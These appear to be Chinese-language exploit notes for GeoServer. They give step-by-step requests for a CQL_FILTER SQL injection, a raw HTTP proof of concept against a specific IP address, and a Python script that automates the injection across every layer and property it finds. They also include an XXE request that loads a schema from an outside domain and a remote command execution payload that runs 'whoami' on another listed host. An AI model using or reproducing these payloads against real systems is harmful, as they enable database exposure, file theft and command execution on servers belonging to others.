1. 获取图层

/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

  1. 选择properties中任一字段作下一步所需

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<上一步获取的图层>&maxFeatures=1&outputFormat=json

  1. poc

拿到上面获取的图层名及图层名对应的properties中的任一字段(这里是patrol_baiyin:xiangzhen及shape_area)

GET /geoserver/ows/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<图层>&CQL_FILTER=strStartsWith%28<字段>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 125.74.28.121:8079
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.31.0

当期数据库

4、exp

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
import xml.etree.ElementTree as ET
import json

# Colored output codes
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'

# Check if the script is run without parameters
if len(sys.argv) == 1:
    print(f"{YELLOW}This script requires a URL parameter.{ENDC}")
    print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
    sys.exit(1)

# URL and proxy settings
URL = sys.argv[1]
PROXY_ENABLED = True
PROXY = "http://127.0.0.1:8081" if PROXY_ENABLED else None

response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
                        proxies={"http": PROXY}, verify=False)

if response.status_code == 200:

    # Parse the XML response and extract the Name from each FeatureType and store in a list
    root = ET.fromstring(response.text)
    feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
    names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]

    # Print the feature names
    print(f"{GREEN}Available feature names:{ENDC}")
    for name in names:
        print(f"- {name}")

    # Send requests for each feature name and CQL_FILTER type
    cql_filters = [
        "strStartsWith"]  # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
    for name in names:
        for cql_filter in cql_filters:
            endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
            response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
            if response.status_code == 200:
                json_data = json.loads(response.text)
                try:
                    properties = json_data['features'][0]['properties']
                except  IndexError:
                    print("Error: 超出范围")
                property_names = list(properties.keys())
                print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
                for property_name in property_names:
                    print(f"- {property_name}")

                print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
                for property_name in property_names:
                    endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
                    response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
                    print(
                        f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property_name}{ENDC} and CQL_FILTER: {BOLD}{cql_filter}{ENDC}")
                    if response.status_code == 200:
                        root = ET.fromstring(response.text)
                        error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
                        print("URL + endpoint:",URL + endpoint)
                        print(f"{GREEN}{error_message}{ENDC}")
                    else:
                        print(f"{RED}Request failed{ENDC}")
            else:
                print(f"{RED}Request failed{ENDC}")
else:
    print(f"{RED}Failed to retrieve XML data{ENDC}")

其他漏洞

  1. xxe

POST /geoserver/wfs HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 353
Content-Type: application/xml
Accept-Encoding: gzip

<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:topp="http://www.openplans.org/topp"
xsi:schemaLocation="http://a http://itsosalebq.iyhc.eu.org/xxe.xsd"
outputFormat="KML">
<wfs:Query typeName="topp:states"/>
</wfs:GetFeature>

2、命令执行

POST /geoserver/wfs HTTP/1.1
Host: 60.165.163.140:8081
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"whoami")'>
 <wfs:Query typeNames='top:stop'/>
</wfs:GetPropertyValue>